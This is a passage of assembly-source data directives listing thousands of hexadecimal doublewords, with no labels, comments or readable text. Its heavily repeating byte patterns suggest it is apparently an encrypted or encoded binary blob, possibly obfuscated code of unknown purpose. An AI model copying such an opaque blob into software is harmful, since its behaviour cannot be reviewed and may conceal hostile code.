6BFB8E6Fh, 566F796Ah, 0F96A6BF8h, 6EF26A90h, 7FC5757Dh dd 6A6BFB3Eh, 0F17892F9h, 6BFB026Fh, 7390F96Ah, 127D6EF2h dd 6A6B0A2Ah, 333A6F85h, 3DF76A73h, 2124257Ch, 0F32FB9B3h dd 0F696FB9Fh, 297A7A78h, 7F12D2Ch, 4FC57572h, 6A6BFB42h dd 866FC575h, 0F76A6BFAh, 0A9716C36h, 4FC57595h, 6A6BFABEh dd 0FB966FF1h, 0EF76A6Bh, 8BF37D6Ch, 99A981F3h, 8496E7F3h dd 0A2F38585h, 3742FB1Ch, 0DB740E20h, 6A6BFB2Eh, 7A85827Fh dd 91B9537Ah, 0FA8ADB99h, 0BAF96A6Bh, 6FC57549h, 6A6BFAAAh dd 0A0F3AA7Bh, 0EFF3B87Bh, 8585848Eh, 0A0F3AAF3h, 0EFF36A79h dd 85858492h, 43723FF1h, 75620CB8h, 0FBE27FC5h, 6FF16A6Bh dd 6A6BFBE6h, 816AFEF7h, 537A7A85h, 0F1E791B9h, 858492FFh dd 9EFFF385h, 75858584h, 2A477ACDh, 0E7A7A3Fh, 0F86EDB6Bh dd 877F6A6Bh, 537A7A85h, 850C93B9h, 0FFF18585h, 8585849Eh dd 0F3023AF1h, 85849AFFh, 7BA3F385h, 8AF7F3BBh, 0F3858584h dd 79A0F3B2h, 0F728762Ah, 858487FFh, 58922A85h, 0DB7A7A0Fh dd 6A6BFB82h, 0F37992F9h, 5891863Fh, 0F0863FF1h, 84877FFEh dd 1B468585h, 466B04h, 3FF17707h, 7FFEF786h, 85858487h dd 855A52FAh, 3FF1863Fh, 0FEC47586h, 8584877Fh, 726FF185h dd 756A6BFBh, 0FAB677C5h, 0B07B6A6Bh, 437390F9h, 0FAC70FAAh dd 858485C7h, 4B0E2885h, 8579C7FAh, 0E498585h, 84C7FA52h dd 3F858584h, 0C7FA650Eh, 85858578h, 0FA6C0E36h, 858487C7h dd 770E3185h, 857EC7FAh, 75488585h, 7A7859FFh, 0FB22DB7Ah dd 92F96A6Bh, 82FFF379h, 93858584h, 7A7A7B81h, 8482FFF1h dd 77F18585h, 6A6BFB12h, 8D78BBF9h, 0A2FFF39Bh, 0F3858587h dd 0F1B87BA0h, 85848AFFh, 5A2A7985h, 848EEFF3h, 0AAF38585h dd 6A79A0F3h, 87A6EFF3h, 0F7288585h, 85879BFFh, 38922A85h dd 0DB7A7A0Eh, 6A6BFB9Ah, 9A7FC6FAh, 2A858587h, 7BE5FF75h dd 1ADB7A7Ah, 0FA6A6BFBh, 87A67FC6h, 750E8585h, 7A7BF6FFh dd 0F836DB7Ah, 0B8F36A6Bh, 0C6FAB87Bh, 8587AC6Fh, 0FF753B85h dd 7A7A7B0Fh, 6BFBE6DBh, 0CA7F796Ah, 0FA6A6BFAh, 87A27FC6h dd 753D8585h, 7A7B26FFh, 7FC5757Ah, 6A6BFA86h, 0FBA27F79h dd 0C6FA6A6Bh, 85879B7Fh, 0FF751985h, 7A7A7B3Bh, 627FC575h dd 0FA6A6BF8h, 87917FC6h, 75088585h, 7A7B56FFh, 82FFF17Ah dd 0F1858584h, 6BF86E77h, 4FC5756Ah, 6A6BFACEh, 93F98B7Bh dd 0F39B8D7Ch, 858702FFh, 7BA0F385h, 8AFFF1B8h, 79858584h dd 0EFF35E2Ah, 85858496h, 0F378CD75h, 8587AEFFh, 5677F185h dd 0F96A6BFBh, 9B8D7E93h, 870EFFF3h, 0A0F38585h, 0FFF1B87Bh dd 8585848Ah, 0F3662A79h, 85848EEFh, 0F3AAF385h, 0F36A79A0h dd 8587AAEFh, 0C1C7F785h, 0F7858587h, 6BF9764Fh, 7A6FC36Ah dd 0DE897A7Ah, 87D4C7F7h, 4FF78585h, 6A6BF95Bh, 7A7A77C3h dd 0F3DE897Ah, 6BF82E67h, 0AAFFF16Ah, 0D9858587h, 6A7B5BD6h dd 87E3C7F7h, 4FF78585h, 6A6BF954h, 7A7A6FC3h, 0F7DE897Ah dd 858705C7h, 394FF785h, 0C36A6BF9h, 7A7A7A77h, 0F7DF1C89h dd 8587C1FFh, 4F852A85h, 6A6BF82Eh, 5BD66F85h, 3AD96A7Bh dd 0F76A7333h, 858705FFh, 4F852A85h, 6A6BF82Eh, 5BD66F85h dd 0B6D96A7Bh, 0F76A7B75h, 8587D4FFh, 4F852A85h, 6A6BF82Eh dd 5BD66F85h, 5AD96A7Bh, 0F76A6B15h, 8587E3FFh, 4F852A85h dd 6A6BF82Eh, 5BD66F85h, 26D96A7Bh, 916A6B23h, 82FF8561h dd 0F1858584h, 85848AFFh, 623AF185h, 8482FF43h, 0F8758585h dd 8585878Ah, 0B3212425h, 9FF32FB9h, 797A42C2h, 839927Ah dd 2C297A7Ah, 92FFF72Dh, 2A858785h, 6BFB36DBh, 6A7F796Ah dd 0F96A6BFBh, 0F72A7192h, 0F72A663Fh, 0DB2A763Fh, 6A6BFB66h dd 2A7892F9h, 2A723FF1h, 298562F1h, 0DBBDF32Eh, 6A6BFBA6h dd 0FBAE7F79h, 92F96A6Bh, 75BD4372h, 7A79C3FFh, 0FAC2DB7Ah dd 7F796A6Bh, 6A6BFB86h, 2A7E92F9h, 85A6FFF7h, 752A8587h dd 0FB8A7FC5h, 92F96A6Bh, 0FFF12A7Fh, 85878592h, 8562F12Ah dd 0BDF37629h, 727FC575h, 756A6BF8h, 0FABE6FC5h, 0AA7B6A6Bh dd 437D92F9h, 29FF75BDh, 0F17A7A79h, 6BFB6A4Fh, 7394F96Ah dd 7A78FFF7h, 852A8584h, 8785A6CFh, 0ADA79285h, 0BEF98585h dd 86DFF972h, 7A858785h, 6BF836DBh, 1A7F796Ah, 0F96A6BFBh dd 0FFF36A92h, 858785A2h, 8596FFBDh, 7A6A8587h, 0C5757A7Ah dd 6BFAB67Fh, 0E7F796Ah, 0F96A6BFBh, 0FFF37292h, 85878582h dd 0D27FC575h, 0F36A6BFBh, 87858EFFh, 8AFFBD85h, 78858785h dd 0DB7A7A7Ah, 6A6BFABAh, 0F8467F79h, 92F96A6Bh, 0FFF72A78h dd 85878596h, 86FFF72Ah, 2A858785h, 85A2FFF7h, 852A8587h dd 8785A6CFh, 663FF785h, 763FF72Ah, 0FAB2DB2Ah, 7F796A6Bh dd 6A6BFB2Ah, 2A7F92F9h, 2A723FF1h, 298562F1h, 0DBBDF33Eh dd 6A6BFAA2h, 0B66FC575h, 7B6A6BFAh, 7D92F9AAh, 0FF75BD43h dd 7A7A7B65h, 0BE7FC575h, 0F36A6BFBh, 0FE4F79BCh, 0F96A6BFBh dd 0C7FA7194h, 85847A78h, 0FA730F3Eh, 847A79C7h, 7F0E2A85h dd 7A7A8C93h, 7FC7FA7Ah, 2A85847Ah, 0C7FA730Fh, 85847A7Ch dd 937F0E33h, 7A7A7AA5h, 8586FFF1h, 0FFF38587h, 858785AEh dd 85A2FFF1h, 0FFF38587h, 858785AAh, 859AFFF7h, 0DB2A8587h dd 6A6BFB8Eh, 6F79B8F3h, 6A6BFBFEh, 287790F9h, 0FB366FF1h dd 90F96A6Bh, 6FF12878h, 6A6BFB76h, 0AAF3B87Bh, 2A7192F9h dd 6A7FC575h, 796A6BF8h, 6BFB827Fh, 7292F96Ah, 0FA96DB2Ah dd 2A326A6Bh, 85AAFFF7h, 852A8587h, 7A8A526Fh, 0B6FFF36Ah dd 0F1858785h, 6BFA9E77h, 0F277796Ah, 0F96A6BFBh, 0B2437093h dd 0C5756D0Fh, 6BFA867Fh, 6FC5756Ah, 6A6BFAE6h, 0AC7BBCF3h dd 917294F9h, 7FC57538h, 6A6BFB7Eh, 4F79BCF3h, 6A6BF876h dd 0F77894F9h, 8685B3FFh, 0CF852A85h, 8587859Eh, 85AC5892h dd 72BEF985h, 627FC575h, 436A6BF8h, 87859EFFh, 85760E85h dd 87859ECFh, 0B66F8585h, 0DB6A7B5Fh, 6A6BFAAEh, 0FB4A6FF1h dd 6F796A6Bh, 6A6BFBDAh, 0F27390F9h, 85847FEEh, 0FEBC8584h dd 8485867Fh, 32DB2A85h, 0BC6A6BF8h, 85847FFEh, 85068584h dd 0FFF7560Fh, 85857A7Bh, 566F852Ah, 126A7A8Ah, 6A6BF4E2h dd 85BEC992h, 0E7F72A85h dd 85857A7Bh, 566F8529h, 126A7A8Ah, 6A6BF401h, 85BEE192h dd 3667F185h, 0F96A6BF8h, 2A297291h, 92560F85h, 85858DC9h dd 755EBEF9h, 0FB8A6FC5h, 0B8FB6A6Bh, 7A7A8583h, 620EAA43h dd 7A78FFF7h, 0F72A8584h, 857A7BFFh, 0FE922A85h, 0F97A7A6Bh dd 559172BEh, 7A78FFF7h, 0F72A8584h, 857A7BFFh, 6F852A85h dd 6A7A8A56h, 6BF40C12h, 0BE44926Ah, 0F72A8585h, 857A7BE7h dd 6F852985h, 6A7A8A56h, 0DB6EBEF9h, 6A6BFBAAh, 0FB8E7F79h dd 92F96A6Bh, 0FBC4375h, 86FFF174h, 0F3858785h, 8785B2FFh dd 0F7769185h, 8685B3FFh, 0B2FFF385h, 85858785h, 8785B2CFh dd 7BFFF785h, 2A85857Ah, 8A566F85h, 0B126A7Ah, 926A6BF4h dd 8585B99Eh, 7BE7F72Ah, 2985857Ah, 8A566F85h, 0BEF96A7Ah dd 0F856DB6Eh, 7F796A6Bh, 6A6BFACAh, 437692F9h, 878586FFh dd 85760E85h, 878586CFh, 966F8585h, 0F76A7F4Bh, 857A7BFFh dd 6F852A85h, 6A7F4B9Ah, 86199323h, 0C5758585h, 6BFAB67Fh dd 0FF43326Ah, 85878592h, 0FFF1760Eh, 85878592h, 8562F12Ah dd 24257229h, 2FB9B321h, 96FB9FF3h, 7A7A7826h, 0F12D2C29h dd 7F97227h, 630E7A6Ah, 6BFB26DBh, 4A7F796Ah, 0F96A6BFBh dd 0FFF37F92h, 858587C2h, 7A7AFC93h, 762FF17Ah, 8277C575h dd 0F96A6BFAh, 76437F93h, 7B5F9AEFh, 2C660F6Ah, 5FC66F85h dd 96DB6A7Bh, 796A6BFBh, 6BFB4E7Fh, 7E92F96Ah, 1A6F852Ah dd 0DB6A6B23h, 6A6BFB76h, 0F318BAF9h, 8587C2FFh, 0F4131285h dd 7F926A6Bh, 858585B9h, 0F72A760Fh, 8587D0EFh, 6F852885h dd 6A772352h, 0F76ABEF9h, 8587D0FFh, 6F852A85h, 6A6B231Eh dd 0F7982F9h, 0FAA2DB6Ch, 587F6A6Bh, 797A7A7Bh, 6BFBA27Fh dd 0C2FFF36Ah, 4B858587h, 0A3F33D85h, 3A85B2F9h, 7A7B46FAh dd 0FFF3830Fh, 858587CEh, 6BF41812h, 0B8D0926Ah, 0BEF98585h dd 0F72A297Eh, 8587C4EFh, 6F852885h, 6A772352h, 0F176BEF9h dd 8587CEFFh, 6FC57585h, 6A6BF83Ah, 0FB666F79h, 90F96A6Bh dd 0FAAA537Fh, 75547946h, 7A7AD1FFh, 0CEFFF17Ah, 0F9858587h dd 0C4757E92h, 852A797Eh, 7A8A466Fh, 7EBEF96Ah, 0EFF2B8F3h dd 858587D3h, 87CEFFF1h, 92F98585h, 7EC47578h, 6F852A79h dd 6A7A8A46h, 0F37EBEF9h, 0D2EFF2B8h, 0F1858587h, 8587CEFFh dd 7992F985h, 797EC475h, 466F852Ah, 0F96A7A8Ah, 0B8F37EBEh dd 87DDEFF2h, 0C7FA8585h, 858587D3h, 0FA610F36h, 8587DDC7h dd 680F3485h, 87D2C7FAh, 0F318585h, 95922973h, 0F98585BEh dd 0C7FA7EBEh, 858587D3h, 0FA5B0F3Fh, 8587DDC7h, 620F2285h dd 87D2C7FAh, 0F3F8585h, 0C2CF8575h, 29858587h, 85B8C092h dd 72BEF985h, 84B8FFF7h, 0F72A8585h, 8587C4FFh, 6F852A85h dd 6A734852h, 0C575BCF3h, 6BFBD27Fh, 767F796Ah, 0F96A6BF8h dd 0A28D7992h, 0FE75BC43h, 7A7A7ACDh, 8494C7FAh, 75548585h dd 7A7ADCFEh, 0F423127Ah, 0FB926A6Bh, 0F78585BBh, 858494EFh dd 2A292885h, 87C4EFF7h, 85288585h, 7723526Fh, 6A0F856Ah dd 0F7760F85h, 8587C4FFh, 0A6922A85h, 0F9858587h, 15915ABEh dd 84B8FFF7h, 2C2A8585h, 75B26F85h, 0BDF36A7Bh, 670F8573h dd 87C2FFF1h, 7F798585h, 6A772356h, 5E6F852Ah, 236A7723h dd 0C66F852Ch, 916A7B5Fh, 94C7FA38h, 54858584h, 2A124F0Eh dd 926A6BF4h, 8585BB6Ah, 8494EFF7h, 29288585h, 0C4EFF72Ah dd 28858587h, 23526F85h, 0F856A77h, 760F856Ah, 87C4FFF7h dd 922A8585h, 85858711h, 735ABEF9h, 25F70F85h, 0B9B32124h dd 0C29FF32Fh, 7A7B7A4Eh, 7A11F692h, 2D2C297Ah, 6BF85ADBh dd 7A7F796Ah, 0F96A6BFBh, 7F437192h, 6A6BF8BEh, 96DB6E0Fh dd 0F96A6BFAh, 7F4373BAh, 6A7B5FAAh, 7802F875h, 0FFF77A7Ah dd 8584859Ah, 326F852Ah, 0F76A7A8Ah, 8485AAFFh, 0FFF72A85h dd 8584859Ah, 7573102Ah, 0FB7E7FC5h, 7F796A6Bh, 6A6BFB96h dd 2A7992F9h, 85720F85h, 73485E6Fh, 0DBBDF36Ah, 6A6BFBAAh dd 326FC575h, 7B6A6BFBh, 7292F9AAh, 0FF75BD43h, 7A7A785Ch dd 8592CFF1h, 0CEDB8584h, 0F96A6BFBh, 0FFF37E92h, 85848582h dd 8582FFF7h, 122A8584h, 6A6BE0D2h, 856CF12Ch, 7A7A6F6Eh dd 0BDF37A7Ah, 6BF876DBh, 7E92F96Ah, 0FF75BD43h, 7A7A7B90h dd 85A6FFF7h, 0F12A8584h, 848582FFh, 6AF12A85h, 0F3022885h dd 0FBC6DBBDh, 0C5756A6Bh, 6BFBEA6Fh, 0F9AA7B6Ah, 0BD437492h dd 7BCCFF75h, 0FFF77A7Ah, 85857A7Bh, 0A6CF852Ah, 92858485h dd 8585AAA1h, 0F372BEF9h, 0EFF338B8h, 858485B6h, 85A6CF85h dd 6F858584h, 6A6B154Eh, 7A7BC7FAh, 0F128585h, 78C7FA61h dd 0E85857Ah, 0C7FA680Fh, 85857A79h, 0FA730F0Eh, 857A7EC7h dd 7F0E0A85h, 7A7B1993h, 8AFFF77Ah, 2A858485h, 8582FFF1h dd 0F12A8584h, 3228856Ah, 0A6DBBDF3h, 796A6BFBh, 6BF84E7Fh dd 7292F96Ah, 0FF75BD43h, 7A7A7B42h, 8586FFF7h, 122A8584h dd 6A6BE052h, 858AFFF1h, 0F12A8584h, 6F6E856Ah, 7A7A7A7Ah dd 0DEDBBDF3h, 0F96A6BFAh, 0BD437D92h, 7A84FF75h, 0FFF77A7Ah dd 8584858Eh, 86FFF12Ah, 2A858485h, 0E8856AF1h, 7A7A7BCAh dd 5EDBBDF3h, 796A6BFBh, 6BF8567Fh, 7392F96Ah, 0FF75BD43h dd 7A7A7ABEh, 85A2FFF7h, 0F12A8584h, 84858EFFh, 6AF12A85h dd 0F30A2885h, 0FABADBBDh, 0B8F36A6Bh, 0AAF3B87Bh, 437E92F9h dd 0F16B0EBDh, 84858EFFh, 7AF12A85h, 93722A85h, 7A7A7AF6h dd 0FFF1A14Bh, 858485A2h, 858EFF43h, 790E8584h, 0F139A14Bh dd 84858EFFh, 7AF12A85h, 0F1722A85h, 8485A2FFh, 7AF12A85h dd 73722A85h, 0F7270FA1h, 8485AEFFh, 0FFF12A85h, 85848586h dd 856AF12Ah, 0BDF35A28h, 6BFB56DBh, 6FC5756Ah, 6A6BFBE2h dd 92F9AA7Bh, 0FBD4373h, 7BFFF749h, 2A85857Ah, 8582CF85h dd 0CF858584h, 858485AEh, 8586CF85h, 4E928584h, 857A7A62h dd 8485AECFh, 86CF8585h, 2C858485h, 7A1FBB92h, 66BEF97Ah dd 8586FFF1h, 0F12A8584h, 722A857Ah, 858AFFF1h, 0F12A8584h dd 722A857Ah, 857CF12Ch, 2425722Ah, 2FB9B321h, 96F99FF3h dd 2D2C293Ah, 538E6F85h, 0B9F36A7Fh, 7A5F3892h, 0FBA737Ah dd 4E47F174h, 0F96A6BF8h, 71937D95h, 297A7A78h, 467FC575h dd 0F96A6BFBh, 122A7392h, 7A657585h, 15566F85h, 0BCF36A6Bh dd 2A863FF7h, 852C5210h, 7B5AFA6Fh, 0F1BDF36Ah, 6BFB5E6Fh dd 8E6F796Ah, 0F16A6BFBh, 6BFABA77h, 7893F96Ah, 0E2EF36F3h dd 6BFABADBh, 7892F96Ah, 0FE75BD43h, 7A7A7BC0h, 2ABA3FF7h dd 3FF75210h, 0DADB2ABEh, 0F96A6BFBh, 7F7970BAh, 6A6BFB96h dd 860F852Ah, 23766F85h, 0BDF36A73h, 7A7207F9h, 7ADB230Eh dd 0F96A6BFBh, 0BD437392h, 47F1740Fh, 6A6BFAD6h, 937C95F9h dd 7A7A7B0Ch, 6BFB5ADBh, 79BDF36Ah, 6BFBFA47h, 7D95F96Ah dd 6BF86EDBh, 6FC5756Ah, 6A6BF862h, 92F9AA7Bh, 0BE3F4379h dd 7B36FE75h, 46DB7A7Ah, 0F36A6BF8h, 0A64779BDh, 0F96A6BFAh dd 4D937E95h, 0DB7A7A7Bh, 6A6BFB1Ah, 437D92F9h, 6BF8F67Fh dd 0DB620F6Ah, 6A6BFBDAh, 7A45827Fh, 3A102A7Ah, 53966F85h dd 0F6D96A7Fh, 0F76A6BF8h, 752ABA3Fh, 0F83E7FC5h, 6FF16A6Bh dd 6A6BFB7Ah, 8A6AFEF7h, 2A7A7A45h, 0F8F64F85h, 7B106A6Bh dd 85860F85h, 7323766Fh, 0F87ADB6Ah, 7F796A6Bh, 6A6BFBCAh dd 437692F9h, 6BF8F27Fh, 10750F6Ah, 857A106Eh, 7F53966Fh dd 0F8F2D96Ah, 7B106A6Bh dd 0F8F24F85h, 6F856A6Bh, 6A7B7A72h, 7A10BDF3h, 6BFB12DBh dd 6FC5756Ah, 6A6BF872h, 92F9AA7Bh, 7B102A79h, 0F8F24F85h dd 6F856A6Bh, 6A7F4B9Eh, 7A10BDF3h, 6BF8F6DBh, 854A856Ah dd 6BF8F24Fh, 926F856Ah, 0F36A7F53h, 8A3FF7BDh, 0F44D122Ah dd 0ADB6A6Bh, 0F96A6BFBh, 852A7E92h, 7A8A5A6Fh, 0BDBDF36Ah dd 7A78823Fh, 0CADB7A7Ah, 0F96A6BFBh, 0BD437D92h, 0C575320Eh dd 6BFB8A7Fh, 6FC5756Ah, 6A6BFB32h, 92F9AA7Bh, 963FF37Ch dd 0CE7FC575h, 0F96A6BFAh, 752A7F92h, 0FB1E7FC5h, 7F796A6Bh dd 6A6BFB86h, 3ADB2A32h, 326A6BFBh, 963FF72Ah, 857A102Ah dd 6F85860Fh, 6A733266h, 852CBDF3h, 7333326Fh, 860F856Ah dd 33326F85h, 82F36A73h, 0B3212425h, 9FF32FB9h, 7B7A7EC2h dd 1CF1927Ah, 2C297A7Ah, 720FF12Dh, 4E3A47F7h, 7FA6A73h dd 7C0F3976h, 5ADA47F7h, 7FA6A7Bh, 7C0F2A76h, 324A47F7h dd 0B2DB6A73h, 326A6BFAh, 7AFA122Ah, 79107A7Ah, 6BFBA2DBh dd 6FC5756Ah, 6A6BFAEEh, 92F9AA7Bh, 79102A7Ch, 7A7A7A12h dd 6F852DBAh, 6A6B1162h, 85F9BDF3h, 0BDFE7585h, 107A7A7Ah dd 0FBF2DB7Ah, 92F96A6Bh, 2D2C2A7Fh, 154A6F85h, 6EDB6A6Bh dd 796A6BF8h, 6BFB067Fh, 7092F96Ah, 86FFF72Ah, 2A858485h dd 7A858512h, 7BFFF77Ah, 2A85857Ah, 4E6F852Dh, 0F76A7A8Ah dd 857A7FF7h, 85B2F985h, 7B46FA3Ah, 0F1830F7Ah, 6BFB2E6Fh dd 26F796Ah, 0F96A6BFBh, 0B9F37690h, 0E7F3A97Bh, 85848586h dd 0C5757A10h, 6BFA867Fh, 0F27F796Ah, 0F96A6BFBh, 2C2A7D92h dd 4A6F852Dh, 0F16A6B15h, 6BFBC64Fh, 0B24F796Ah, 0F16A6BFBh dd 848586E7h, 0CFE6F385h, 858485B3h, 6BFB26DBh, 7E92F96Ah dd 86FFF72Ah, 2A858485h, 6BFB86DBh, 7EBAF96Ah, 7BFFF72Ah dd 2A85857Ah, 666F852Dh, 2D6A6B15h, 33326F85h, 24256A73h dd 2FB9B321h, 96FB9FF3h, 7A7A7B66h, 0F12D2C29h, 32F1723Fh dd 8637F372h, 0F37E2AF1h, 3AF1822Fh, 8A3FF376h, 0F1723FF1h dd 8E3FF37Ah, 849EC7F7h, 4FF78585h, 6A6BF91Ah, 7A7A6AC3h dd 0F7DF897Ah, 4FF7DE07h, 6A6BF9DAh, 7A7A6AC3h, 0F7DF897Ah dd 85851EC7h, 9A4FF785h, 0C36A6BF9h, 7A7A7A6Ah, 0C7F7DF89h dd 8585855Eh, 0FE5A4FF7h, 6AC36A6Bh, 897A7A7Ah, 0FB0EDBDFh dd 0B9F36A6Bh, 91F9B97Bh, 7B4B9374h, 0A5F37A7Ah, 85789DBBh dd 849E47CEh, 47F18585h, 6A6BFBF6h, 2D7CBDF9h, 857607F1h dd 0F85E54Eh, 860F858Ah, 85820F85h, 3E928E0Fh, 0F98585B3h dd 3FF366BEh, 0FB82DB8Eh, 433A6A6Bh, 0F3320EB9h, 5E4779A5h dd 856A6BF8h, 849EC7CEh, 0C5758585h, 6BFBEA47h, 0CA47796Ah dd 356A6BFAh, 8E47F12Dh, 0F96A6BFBh, 0A4F37295h, 7F1847Bh dd 0CD4E8576h, 85860F85h, 0F85820Fh, 8A0F858Eh, 85B28892h dd 66BEF985h, 0F18A3FF3h, 6BFB1247h, 4FC5756Ah, 6A6BFB32h dd 0F3358D7Bh, 85847BA4h, 849ECFCEh, 0C5758585h, 6BFAAA47h dd 71BDF96Ah, 47C5752Dh, 6A6BFBB6h, 0F37D95F9h, 0F1847BA4h dd 4E857607h, 820F85CDh, 858E0F85h, 0F858A0Fh, 0B2DB9286h dd 3FF38585h, 47C57586h, 6A6BF86Ah, 0FB824779h, 95F96A6Bh dd 7BA4F37Fh, 0CFCE8584h, 8585849Eh, 0FBC647F1h, 0BDF96A6Bh dd 0C5752D6Ah, 6BFBE247h, 78BDF96Ah, 847BA4F3h, 857607F1h dd 0F85CD4Eh, 8A0F858Eh, 820F852Ah, 85B22C92h, 42BEF985h dd 0DB823FF3h, 6A6BFB1Ah, 0FB2E7F79h, 92F96A6Bh, 75B97B71h dd 0FB1E7FC5h, 0BAF96A6Bh, 75B94371h, 8584C7FCh, 0FB2EDB85h dd 0B9F36A6Bh, 0FB266779h, 91F96A6Bh, 0FB7ADB71h, 0C5756A6Bh dd 6BFA866Fh, 0F9AA7B6Ah, 3FF37192h, 7BE39396h, 7F17A7Ah dd 0C70E8596h, 247F1DEh, 0F96A6BFBh, 0F12D7E95h, 4E857607h dd 8A0F85E5h, 85860F85h, 0F85820Fh, 0B2FE928Eh, 0BEF98585h dd 8E3FF366h, 6BF836DBh, 7E92F96Ah, 7EDBB97Bh, 0F96A6BF8h dd 0B94374BAh, 0CEDB7008h, 0F96A6BFBh, 0B95376BAh, 0F19607F1h dd 6BFAA64Fh, 7994F96Ah, 0E858D7Bh, 47F1DEC7h, 6A6BFB0Eh dd 3A4FC575h, 7B6A6BF8h, 7C95F98Dh, 7607F12Dh, 85E54E85h dd 0F85860Fh, 8E0F8582h, 928A0F85h, 8585B258h, 0F366BEF9h dd 0AEDB8A3Fh, 796A6BFAh, 6BFA9E7Fh, 7F92F96Ah, 9EDBB97Bh dd 0F96A6BFAh, 7F797EBAh, 6A6BFB0Eh, 7008B943h, 6BFBCEDBh dd 76BAF96Ah, 7F1B953h, 4FC57596h, 6A6BF86Ah, 0F87A4F79h dd 94F96A6Bh, 858D7B72h, 0F1DEC70Eh, 6BFBF647h, 73BDF96Ah dd 0FB9E4779h, 0F12D6A6Bh, 4E857607h, 820F85E5h, 858E0F85h dd 0F858A0Fh, 0BDCA9286h, 0BEF98585h, 863FF366h, 6BFB02DBh dd 7E92F96Ah, 42DBB97Bh, 0F96A6BF8h, 0B9436ABAh, 0A2DB7008h dd 0F96A6BFAh, 0B95370BAh, 0F19607F1h, 6BF87A4Fh, 7894F96Ah dd 0E858D7Bh, 0C575DEC7h, 6BFABE47h, 74BDF96Ah, 7607F12Dh dd 85E54E85h, 0F858E0Fh, 860F858Ah, 92820F85h, 8585BD2Ch dd 0F366BEF9h, 7ADB823Fh, 0F96A6BFBh, 0B97B7E92h, 6A7FC575h dd 0F16A6BF8h, 6BFBDA6Fh, 6A3EF76Ah, 8B94379h, 0FB0ADB69h dd 0BAF96A6Bh, 6FC57572h, 6A6BFB3Eh, 0B953AA7Bh, 6BFBF6DBh dd 79BAF96Ah, 0DB963F7Bh, 6A6BF85Eh, 4371BAF9h, 0FC75963Fh dd 8585842Ch, 0FAC667F1h, 0B9F96A6Bh, 7FC5757Fh, 6A6BFB42h dd 0F37992F9h, 0E393923Fh, 0F17A7A7Bh, 0CE859207h, 85851EC7h dd 0B247F185h, 0F96A6BFAh, 0F12D79BDh, 4E857607h, 8A0F85E5h dd 85860F85h, 0F85820Fh, 0A324928Eh, 0BEF98585h, 8E3FF366h dd 6BFA9ADBh, 7992F96Ah, 6EDBB97Bh, 0F96A6BFBh, 0B94375BAh dd 0C5757608h, 6BFABE7Fh, 70BAF96Ah, 7F1B953h, 0AE4FF192h dd 0F96A6BFAh, 8D7B7E94h, 1EC7CE85h, 0F1858585h, 6BFB7A47h dd 78BDF96Ah, 7607F12Dh, 85E54E85h, 0F85860Fh, 8E0F8582h dd 928A0F85h, 8585A37Ah, 0F366BEF9h, 0C5758A3Fh, 6BF83E7Fh dd 6FC5756Ah, 6A6BFB7Eh, 92F9AA7Bh, 0DBB97B7Eh, 6A6BFA9Eh dd 4371BAF9h, 0DB6A08B9h, 6A6BF846h, 7975BAF9h, 6BFB4A7Fh dd 0F1B9536Ah, 4FF19207h, 6A6BFBCEh, 7B7894F9h, 0C7CE858Dh dd 8585851Eh, 0FB9A47F1h, 0BDF96A6Bh, 7F12D76h, 0E54E8576h dd 85820F85h, 0F858E0Fh, 860F858Ah, 85A2E992h, 66BEF985h dd 0DB863FF3h, 6A6BFBBAh, 7B78BAF9h, 7FC575B9h, 6A6BFB3Eh dd 4376BAF9h, 0DB7008B9h, 6A6BFBB2h, 5372BAF9h, 9207F1B9h dd 0FB8E4FF1h, 0C5756A6Bh, 6BF8726Fh, 0F9AC7B6Ah, 8D7B7D94h dd 1EC7CE85h, 0F1858585h, 6BFB2247h, 68BDF96Ah, 0FB4E4779h dd 0F12D6A6Bh, 4E857607h, 8E0F85E5h, 858A0F85h, 0F85860Fh dd 0A25C9282h, 0BEF98585h, 823FF366h, 6BF84ADBh, 78BAF96Ah dd 9ADBB97Bh, 0F96A6BFBh, 7F7971BAh, 6A6BFAB2h, 7608B943h dd 0EA7FC575h, 0F96A6BFBh, 0B95372BAh, 6BFB0ADBh, 923F7B6Ah dd 427FC575h, 0F96A6BFBh, 3F4373BAh, 2EFC7592h, 0F1858584h dd 6BFADE67h, 7D91F96Ah, 6BFA9EDBh, 3A7F796Ah, 0F96A6BFBh dd 3FF37C92h, 7BBD939Eh, 7F17A7Ah, 0C7CE859Eh, 8585855Eh dd 0F83247F1h, 0BDF96A6Bh, 7F12D78h, 0E54E8576h, 858A0F85h dd 0F85860Fh, 8E0F8582h, 85C70E92h, 66BEF985h, 0DB8E3FF3h dd 6A6BFBBAh, 797CBAF9h, 6BF8427Fh, 0DBB97B6Ah, 6A6BFBB2h dd 4372BAF9h, 0DB7008B9h, 6A6BFAA2h, 5370BAF9h, 9E07F1B9h dd 7E4FC575h, 796A6BFBh, 6BFB6A4Fh, 7294F96Ah, 0CE858D7Bh dd 85855EC7h, 0FE47F185h dd 756A6BFBh, 0FBDE4FC5h, 8D7B6A6Bh, 7607F12Dh, 85E54E85h dd 0F85860Fh, 8E0F8582h, 928A0F85h, 8585C77Fh, 0F366BEF9h dd 36DB8A3Fh, 0F96A6BFBh, 7F797EBAh, 6A6BF85Eh, 0C575B97Bh dd 6BFBEE7Fh, 0B26FF16Ah, 0F76A6BFBh, 437D6A3Eh, 756908B9h dd 0FB1E7FC5h, 6FF16A6Bh, 6A6BFB02h, 7C6A3EF7h, 7F1B953h dd 0A24FF19Eh, 0F96A6BFAh, 8D7B7E94h, 5EC7CE85h, 0F1858585h dd 6BFBA247h, 7CBDF96Ah, 0FA9E4779h, 0F12D6A6Bh, 4E857607h dd 820F85E5h, 858E0F85h, 0F858A0Fh, 0C6F19286h, 0BEF98585h dd 863FF366h, 6BF86EDBh, 7EBAF96Ah, 0BADBB97Bh, 0F96A6BFBh dd 0B94375BAh, 9EDB6908h, 0F96A6BFAh, 0C5757FBAh, 6BFABE6Fh dd 53AA7B6Ah, 9E07F1B9h, 0BE4FC575h, 0F96A6BFAh, 8D7B7994h dd 5EC7CE85h, 0F1858585h, 6BFB6647h, 6BBDF96Ah, 0FB124779h dd 0F12D6A6Bh, 4E857607h, 8E0F85E5h, 858A0F85h, 0F85860Fh dd 0C6659282h, 0BEF98585h, 823FF366h, 327FC575h, 756A6BFBh dd 0FAD26FC5h, 3EF76A6Bh, 0B97B7C6Ah, 6BFBBADBh, 75BAF96Ah dd 0FBFA7F79h, 0B9436A6Bh, 66DB6908h, 0F96A6BF8h, 0C57573BAh dd 6BFB426Fh, 53AA7B6Ah, 0FB26DBB9h, 3F7B6A6Bh, 0FB2EDB9Eh dd 0BAF96A6Bh, 9E3F437Eh, 8452FC75h, 7F18585h, 824FF172h dd 796A6BFBh, 